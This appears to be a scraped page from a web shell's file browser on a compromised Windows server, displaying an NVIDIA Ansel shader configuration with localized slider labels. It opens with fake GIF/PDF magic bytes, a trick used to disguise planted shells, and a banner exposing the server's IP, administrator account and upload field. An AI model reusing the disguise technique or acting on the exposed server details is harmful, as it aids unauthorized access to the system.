GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Program Files/NVIDIA Corporation/Ansel/ShaderMod/ |
Upload File : |
pass_template: samplerstates: samLinear: filter: MIN_MAG_MIP_LINEAR addressU: CLAMP addressV: CLAMP samLinearWrap: filter: MIN_MAG_MIP_LINEAR addressU: WRAP addressV: WRAP type: match-color-input constant-buffers: globalParams: {screenSize: SCREEN_SIZE, elapsedTime: ELAPSED_TIME, captureState: CAPTURE_STATE, tileUV: TILE_UV_RANGE} controlBuf: {g_sldIntensity: intensitySlider, g_sldDistance: distSlider, g_sldInvert: invSlider, g_sldEnableDepth: enabledepthSlider} typical_slider: type: float minimum-value: 0.0 maximum-value: 1.0 default-value: 0.0 ui-sticky-region: 0.01 ui-value-unit: "%" ui-value-min: 0 ui-value-max: 100 ui-value-step: 1.01 boolean_slider: type: bool user-constants: - name: intensitySlider ui-label: "Intensity" ui-label-localized: cs-CZ: "Intenzita" da-DK: "Intensitet" de-DE: "Intensität" el-GR: "Ένταση" en-UK: "Intensity" es-ES: "Intensidad" es-MX: "Intensidad" fi-FI: "Voimakkuus" fr-FR: "Intensité" hu: "Intenzitás" it-IT: "Intensità" ja-JP: "明度" ko-KR: "강도" nl-NL: "Intensiteit" nb-NO: "Intensitet" pl: "Intensywność" pt-PT: "Intensidade" pt-BR: "Intensidade" ru-RU: "Насыщенность" sk-SK: "Intenzita" sl-SI: "Intenzivnost" sv-SE: "Intensitet" th-TH: "ความเข้ม" tr-TR: "Yoğunluk" zh-CHS: "强度" zh-CHT: "強度" default-value: 1.0 import: [typical_slider] - name: enabledepthSlider ui-label: "Enable Depth" ui-label-localized: cs-CZ: "Aktivovat hloubku" da-DK: "Aktivér dybde" de-DE: "Tiefe aktivieren" el-GR: "Ενεργοποίηση βάθους" en-UK: "Enable Depth" es-ES: "Activar profundidad" es-MX: "Activar profundidad" fi-FI: "Ota käyttöön syvyys" fr-FR: "Activer la profondeur" hu: "Mélység bekapcsolása" it-IT: "Abilita profondità" ja-JP: "深度を有効化" ko-KR: "깊이 활성화" nl-NL: "Diepte inschakelen" nb-NO: "Aktiver dybde" pl: "Włącz głębię" pt-PT: "Activar profundidade" pt-BR: "Habilitar profundidade" ru-RU: "Включить глубину" sk-SK: "Aktivovať hĺbku" sl-SI: "Omogoči globino" sv-SE: "Aktivera djup" th-TH: "เปิดใช้ความลึก" tr-TR: "Derinliği Etkinleştir" zh-CHS: "启用深度" zh-CHT: "啟用深度" import: [boolean_slider] - name: distSlider ui-label: "Border Distance" ui-label-localized: cs-CZ: "Vzdálenost ohraničení" da-DK: "Grænsesafstand" de-DE: "Randabstand" el-GR: "Απόσταση περιθωρίου" en-UK: "Border Distance" es-ES: "Distancia de borde" es-MX: "Distancia del borde" fi-FI: "Reunan etäisyys" fr-FR: "Distance des contours" hu: "Szegélytávolság" it-IT: "Distanza bordo" ja-JP: "ボーダー距離" ko-KR: "테두리 거리" nl-NL: "Randafstand" nb-NO: "Kantavstand" pl: "Odległość graniczna" pt-PT: "Distância do limite" pt-BR: "Distância da borda" ru-RU: "Дальность границ" sk-SK: "Vzdialenosť orámovania" sl-SI: "Razdalja roba" sv-SE: "Kantdistans" th-TH: "ระยะของขอบ" tr-TR: "Sınır Mesafesi" zh-CHS: "边界距离" zh-CHT: "邊框距離" default-value: 0.5 import: [typical_slider] - name: invSlider ui-label: "Reverse Depth Mask" ui-label-localized: cs-CZ: "Maska hloubky převrácení" da-DK: "Omvendt dybdemaske" de-DE: "Umgekehrte Tiefenmaske" el-GR: "Ανάστροφη μάσκας βάθους" en-UK: "Reverse Depth Mask" es-ES: "Máscara de respiración invertida" es-MX: "Máscara de profundidad inversa" fi-FI: "Käänteinen syvyysmaski" fr-FR: "Masque de profondeur inversé" hu: "Fordított mélység maszk" it-IT: "Maschera di profondità invertita" ja-JP: "深度マスクの反転" ko-KR: "역방향 깊이 마스크" nl-NL: "Omgekeerde dieptestructuur" nb-NO: "Omvendt dybdemaske" pl: "Maska odwróconej głębi" pt-PT: "Máscara de profundidade invertida" pt-BR: "Máscara de profundidade inversa" ru-RU: "Обратная маска глубины" sk-SK: "Spätná maska hĺbky" sl-SI: "Maska obratne globine" sv-SE: "Reverserad djupmask" th-TH: "มาส์กกลับความลึก" tr-TR: "Ters Derinlik Maskesi" zh-CHS: "反向深度蒙版" zh-CHT: "反向深度遮罩" import: [boolean_slider] main: import: [pass_template] shader: PSMain@BlacknWhite.yfx textures: texColor: channel: PIPE_INPUTS_COLOR texDepth: channel: PIPE_INPUTS_DEPTH